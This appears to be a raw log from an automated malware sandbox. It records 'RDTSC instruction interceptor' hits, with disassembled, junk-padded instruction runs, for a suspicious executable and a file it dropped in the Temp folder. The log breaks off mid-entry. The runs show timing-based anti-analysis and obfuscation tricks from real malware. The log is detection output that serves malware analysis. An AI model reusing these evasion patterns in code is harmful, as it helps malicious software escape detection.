Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220660 second address: 5220666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220666 second address: 5220685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220685 second address: 52206AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, si 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov eax, edx 0x0000000e jmp 00007FBDC0E80B83h 0x00000013 popad 0x00000014 mov dh, ah 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52206AF second address: 52206E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 750D4360h 0x00000009 popad 0x0000000a pushad 0x0000000b mov dl, 44h 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 nop 0x00000012 pushad 0x00000013 mov dx, cx 0x00000016 mov dl, ch 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b mov al, 47h 0x0000001d mov dx, 69ECh 0x00000021 popad 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FBDC110A21Eh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52206E2 second address: 52206E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52206E8 second address: 52206EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52206EC second address: 5220714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FBDC0E80B86h 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220714 second address: 5220718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220718 second address: 522071C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522071C second address: 5220722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220722 second address: 5220731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220780 second address: 522078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 3DD30D07h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522078A second address: 522000A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FBE316FEA3Ah 0x0000000d xor eax, eax 0x0000000f jmp 00007FBDC0E5A2AAh 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 leave 0x00000018 retn 0004h 0x0000001b nop 0x0000001c xor ebx, ebx 0x0000001e cmp eax, 00000000h 0x00000021 je 00007FBDC0E80CD3h 0x00000027 call 00007FBDC56CDFFDh 0x0000002c mov edi, edi 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 mov eax, 1AABFF6Bh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522000A second address: 5220081 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBDC110A220h 0x00000008 add si, 35F8h 0x0000000d jmp 00007FBDC110A21Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007FBDC110A228h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d movzx esi, di 0x00000020 call 00007FBDC110A223h 0x00000025 pushad 0x00000026 popad 0x00000027 pop esi 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007FBDC110A224h 0x0000002f xchg eax, ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220081 second address: 522009E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522009E second address: 52200BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52200BB second address: 52200BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52200BF second address: 52200C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52200C5 second address: 52200FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FBDC0E80B88h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBDC0E80B7Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52200FA second address: 5220101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220101 second address: 5220133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FBDC0E80B82h 0x00000011 sub ax, 9E98h 0x00000016 jmp 00007FBDC0E80B7Bh 0x0000001b popfd 0x0000001c mov edx, ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220133 second address: 5220139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220139 second address: 522013D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522013D second address: 5220141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220141 second address: 5220163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 call 00007FBDC0E80B7Fh 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220163 second address: 522019D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBDC110A229h 0x00000008 adc ecx, 7D1F0596h 0x0000000e jmp 00007FBDC110A221h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220BB9 second address: 5220BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220BBF second address: 5220C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FBDC110A21Ah 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov edx, eax 0x00000012 mov bl, ah 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FBDC110A21Bh 0x0000001e sbb si, 6C4Eh 0x00000023 jmp 00007FBDC110A229h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007FBDC110A220h 0x0000002f or al, FFFFFFC8h 0x00000032 jmp 00007FBDC110A21Bh 0x00000037 popfd 0x00000038 popad 0x00000039 cmp dword ptr [75AF459Ch], 05h 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FBDC110A225h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220C46 second address: 5220C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FBE316EE91Ah 0x0000000f jmp 00007FBDC0E80B7Eh 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FBDC0E80B7Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220C7E second address: 5220C8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220CDE second address: 5220D23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov ch, bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 74EAD067h 0x00000010 jmp 00007FBDC0E80B87h 0x00000015 add dword ptr [esp], 00C3CBC1h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBDC0E80B85h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220D23 second address: 5220D4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FBE3197F050h 0x0000000e push 75A92B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AF4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FBDC110A21Dh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220DCE second address: 5220DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220DDE second address: 5220DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220DE2 second address: 5220E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FBE316E4711h 0x0000000e pushad 0x0000000f pushad 0x00000010 call 00007FBDC0E80B86h 0x00000015 pop esi 0x00000016 popad 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A04 second address: 5230A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A08 second address: 5230A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FBDC0E80B81h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBDC0E80B88h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A3E second address: 5230A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A44 second address: 5230A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A5E second address: 5230A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A62 second address: 5230A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A68 second address: 5230A92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FBDC110A228h 0x0000000e mov dword ptr [esp], esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A92 second address: 5230A98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230A98 second address: 5230AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e jmp 00007FBDC110A228h 0x00000013 test esi, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ax, di 0x0000001b jmp 00007FBDC110A229h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230AE0 second address: 5230B59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBDC0E80B87h 0x00000008 mov esi, 62E3D95Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FBE316DE42Bh 0x00000016 pushad 0x00000017 mov dl, al 0x00000019 mov ebx, 423AA4B0h 0x0000001e popad 0x0000001f cmp dword ptr [75AF459Ch], 05h 0x00000026 jmp 00007FBDC0E80B7Fh 0x0000002b je 00007FBE316F64E6h 0x00000031 pushad 0x00000032 pushad 0x00000033 mov ax, 9DD1h 0x00000037 mov al, 46h 0x00000039 popad 0x0000003a push edi 0x0000003b call 00007FBDC0E80B86h 0x00000040 pop esi 0x00000041 pop edi 0x00000042 popad 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov esi, edx 0x00000049 pushad 0x0000004a popad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230B59 second address: 5230BAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 49394E07h 0x00000008 jmp 00007FBDC110A21Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FBDC110A21Ch 0x0000001a xor ecx, 3B6070E8h 0x00000020 jmp 00007FBDC110A21Bh 0x00000025 popfd 0x00000026 call 00007FBDC110A228h 0x0000002b pop eax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230BFA second address: 5230C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FBDC0E80B81h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d mov di, F602h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FBDC0E80B89h 0x00000019 sub al, FFFFFFD6h 0x0000001c jmp 00007FBDC0E80B81h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230C84 second address: 5230C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230C88 second address: 5230C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F45A9E second address: F45AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F3EBAC second address: F3EBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F3EBB0 second address: F3EBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FBDC110A223h 0x0000000c jmp 00007FBDC110A21Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F3EBC9 second address: F3EBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FBDC0E80B76h 0x0000000a jo 00007FBDC0E80B76h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F3EBD9 second address: F3EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F44C44 second address: F44C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBDC0E80B85h 0x00000008 jnp 00007FBDC0E80B76h 0x0000000e jmp 00007FBDC0E80B80h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007FBDC0E80B7Dh 0x0000001a jmp 00007FBDC0E80B85h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F44C9E second address: F44CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FBDC110A216h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F44CAE second address: F44CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F44CB2 second address: F44CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F44DD8 second address: F44DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FBDC0E80B7Dh 0x0000000e jnp 00007FBDC0E80B82h 0x00000014 jnc 00007FBDC0E80B76h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F44DFC second address: F44E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FBDC110A228h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F48665 second address: F48669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F48758 second address: F487C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FBDC110A228h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007FBDC110A21Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FBDC110A218h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F487C4 second address: F487C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F487C8 second address: F487CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F488D0 second address: F488DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F488DA second address: F48901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBDC110A229h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F48AEB second address: F48AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F48AF1 second address: F48AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F48AF5 second address: F48BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007FBDC0E80B88h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FBDC0E80B78h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007FBDC0E80B76h 0x0000005b popad 0x0000005c jne 00007FBDC0E80B78h 0x00000062 popad 0x00000063 xor dword ptr 